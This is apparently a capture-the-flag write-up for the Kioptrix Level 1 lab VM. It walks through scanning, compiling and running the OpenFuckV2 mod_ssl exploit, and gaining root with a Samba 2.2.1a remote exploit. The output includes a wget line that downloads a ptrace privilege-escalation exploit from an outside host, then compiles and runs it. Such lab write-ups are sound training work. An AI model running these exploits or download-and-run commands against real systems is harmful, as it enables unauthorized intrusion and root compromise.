The Kioptrix series VMs (5 in total) are a bit older, with the first one having come out in 2010, but are still a great learning experience. Today, I’ll show you how I got root access on Level 1. You can download it from VulnHub.
Scanning
Let’s find it’s IP address first:
root ~ # netdiscover -i eth1 -r 10.10.1.0/24
Currently scanning: 10.10.1.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
__________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
--------------------------------------------------------------------------
10.10.1.1 00:50:56:c0:00:01 1 60 Unknown vendor
10.10.1.21 00:0c:29:7c:3a:16 1 60 Unknown vendor
Ok, now let’s get some more info on it’s running services:
root ~ # nmap -sV -O 10.10.1.21 Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-03 18:26 CDT Nmap scan report for 10.10.1.21 Host is up (0.00079s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b 1024/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:7C:3A:16 (VMware) Device type: general purpose Running: Linux 2.4.X OS CPE: cpe:/o:linux:linux_kernel:2.4 OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Enumeration
I also did a regular port scan of all TCP ports (with the -p- option) and let that run for a while in case there’s anything else we missed. That showed no other open (TCP) ports. I did notice that version of Apache looks quite old, even for 2010. A quick Google search shows that it was released in 2001, a full 9 years before this VM was created. Apache itself could be a possible attack vector, but we’ll keep that in mind for later if we get stuck. First, let’s check the website:
Well, not much here. Let’s dig a little deeper with dirb (a directory brute-forcer):
root ~ # dirb http://10.10.1.21/ /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Nov 3 19:09:53 2017
URL_BASE: http://10.10.1.21/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: http://10.10.1.21/ ----
+ http://10.10.1.21/cgi-bin/ (CODE:403|SIZE:272)
==> DIRECTORY: http://10.10.1.21/manual/
==> DIRECTORY: http://10.10.1.21/mrtg/
==> DIRECTORY: http://10.10.1.21/usage/
+ http://10.10.1.21/~operator (CODE:403|SIZE:273)
+ http://10.10.1.21/~root (CODE:403|SIZE:269)
---- Entering directory: http://10.10.1.21/manual/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.1.21/mrtg/ ----
---- Entering directory: http://10.10.1.21/usage/ ----
-----------------
Looks like we’ve got a few directories to check out.
The /manual/ directory just contains a bunch of mod_perl & mod_ssl Apache module manuals.
The /mrtg/ page takes us to the “Multi Router Traffic Grapher” web app. There does seem to be a directory traversal vulnerability in version 2.9.17. I tried it here but no luck. The relevant CGI scripts don’t seem to exist.
The /usage/ page takes us to a Webalizer page with some stats from Sept 2009:
There is a code execution vulnerability in Webalizer 2.0.1, however, it requires the server to be configured to use reverse DNS lookups (a feature that’s disabled by default) and I doubt that’s the case here.
Let’s run the popular web server scanner, Nikto.
root ~ # nikto -h 10.10.1.21 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.1.21 + Target Hostname: 10.10.1.21 + Target Port: 80 + Start Time: 2017-11-09 20:56:24 (GMT-6) --------------------------------------------------------------------------- + Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b + Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 22:12:46 2001 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current. + mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version) + Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + OSVDB-27487: Apache is vulnerable to XSS via the Expect header + Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392. + OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839. + OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542. + mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756. ...snip...
Exploitation
I cut out the rest of the output as that last one is what I’m interested in. Let’s see what we can find on this. A Google search for “apache mod_ssl 2.8.7 exploit” gives us some exploit code from Exploit Database called “OpenFuckV2“. I copied the code to my Kali VM into a file called OpenFuckV2.c. I tried compiling it but got a bunch of errors:
root ~ # gcc -o of2 OpenFuckV2.c -lcrypto
OpenFuckV2.c:651:2: error: unknown type name ‘RC4_KEY’
RC4_KEY* rc4_read_key;
^~~~~~~
OpenFuckV2.c:652:2: error: unknown type name ‘RC4_KEY’
RC4_KEY* rc4_write_key;
^~~~~~~
OpenFuckV2.c: In function ‘read_ssl_packet’:
OpenFuckV2.c:844:7: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function); did you mean ‘SHA_DIGEST_LENGTH’?
if (MD5_DIGEST_LENGTH + padding >= rec_len) {
^~~~~~~~~~~~~~~~~
SHA_DIGEST_LENGTH
...snip...
After doing some digging around I found out that I need to add 2 headers to the code:
#include <openssl/rc4.h> #include <openssl/md5.h>
After adding that to the top of the file, the code compiles with only a few warnings that we can ignore. The first thing I do is get the help:
root ~ # ./of2 -h ******************************************************************* * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* * by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE * * #hackarena irc.brasnet.org * * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname * * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam * * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ * ******************************************************************* : Usage: ./of2 target box [port] [-c N] target - supported box eg: 0x00 box - hostname or IP address port - port for ssl connection -c open N connections. (use range 40-50 if u dont know) Supported OffSet: 0x00 - Caldera OpenLinux (apache-1.3.26) 0x01 - Cobalt Sun 6.0 (apache-1.3.12) 0x02 - Cobalt Sun 6.0 (apache-1.3.20) ...snip... 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2 ...snip...
The nmap scan results tell us that we should be focusing on RedHat with Apache version 1.3.20. There are 2 possibilities for the “target” here. I tried the first one and it didn’t work. The second one, however…
root ~ # ./of2 0x6b 10.10.1.21 443
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
oits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; .nl/0304-expl
--21:09:11-- http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to packetstormsecurity.nl:80...
packetstormsecurity.nl: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$
bash-2.05$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
That’s a shell! Note, you may have to try running it several times as it may not always work.
It looks like it was trying to download some code from packetstorm security. I did a google search and found this to be a privilege escalation exploit. As soon as you get a shell on your target, it tries to get you root access. I tried manually copying the code over since the VM doesn’t have Internet access, compiling & running it, but I never got a shell. We might have to try other exploits.
Privilege Escalation
I like to use this handy GitHub page as a reference. Ctrl+F for “2.4.7” shows 3 possible exploits; pipe.c_32bit, sock_sendpage, & sock_sendpage2. I’ll try the code from each, going down the line. There are many ways to copy the code over to the target machine. I could have saved the code to my Kali VM, started an HTTP server with “python -m SimpleHTTPServer 80” then download it via wget on the target host. However, sometimes I find the “heredoc” method a bit simpler.
bash-2.05$ cat << EOF > pipe.c > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <unistd.h> ...snip... > EOF bash-2.05$ ls ls pipe.c
However, I kept getting compilation errors with this and every time I fixed them, more would pop up.
I tried the next one, sock_sendpage & sock_sendpage2 after that. Neither would compile because of missing header files. And of course, having gotten onto this box as the “apache” user, we don’t have privileges to fix that. Lets look for other ways onto this box.
Going back to the nmap scan (I always save the output of my scans to a text file so I can refer back to it later without having to scan agian), we do see that port 139 is open and Samba is running. Let’s use enum4linux to try to find the running version:
root ~ # enum4linux 10.10.1.21 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Nov 11 19:33:08 2017 ========================== | Target Information | ========================== Target ........... 10.10.1.21 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' ...snip... ======================================= | Share Enumeration on 10.10.1.21 | ======================================= WARNING: The "syslog" option is deprecated Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a] ...snip...
A quick Google search shows that version was released in 2001. Again, a full 9 years before this VM was created. Searching for “Samba 2.2.1a exploit” shows a remote code execution exploit on exploit-db.com as the first hit.
I copied the code to my Kali VM & compiled it (# gcc -o samba1 samba1.c). After reading the example in the comments, I tried exploiting:
root ~ # ./samba1 -b 0 10.10.1.21 samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be) -------------------------------------------------------------- + Bruteforce mode. (Linux) + Host is running samba. + Worked! -------------------------------------------------------------- *** JE MOET JE MUIL HOUWE Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown uid=0(root) gid=0(root) groups=99(nobody) whoami root
Wow, that was easy. Wish I tried that first…
That’s it. We’ve accomplished our objective of getting root access to the machine!